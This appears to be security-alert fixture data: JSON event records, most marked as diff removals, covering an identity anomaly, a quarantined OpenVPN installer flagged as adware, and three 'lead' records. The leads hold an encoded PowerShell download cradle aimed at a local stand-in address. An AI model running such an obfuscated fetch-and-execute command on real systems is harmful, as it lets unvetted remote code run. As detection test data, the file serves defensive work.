:"admin.abcdef","activity_browser":"Edge126.0.0","activity_device":"LAPTOP-ADFVEJM234V","activity_os":"Windows","active_directory_authentication_method":"4","activity_id":"3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":320316,"location_longitude_as_int":-12729080,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"78HF9842-HGG5-324F-9565-GJD47324","source_endpoint_account_object_sid":"S-1-4-21-111111111-2222222-14171121333-1045999","source_endpoint_ip_reputation":"118","source_ip_isp_classification":"8","source_ip_isp_domain":"abc.com","target_domain_controller_host_name":"GHPOTAL12578","target_domain_controller_object_guid":"59B24AA7-4GH8-f7H0-994F-B90159E7M2K1","target_domain_controller_object_sid":"S-2-8-21-333333-2222222-3431-95511","target_service_access_identifier":"HOST/root.demo.com"}
-{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!","KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr","N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!","N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N","N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'","N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"}
-{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!","KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr","N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!","N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N","N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'","N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"}
-{"agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"}
-{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"}
-{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"}
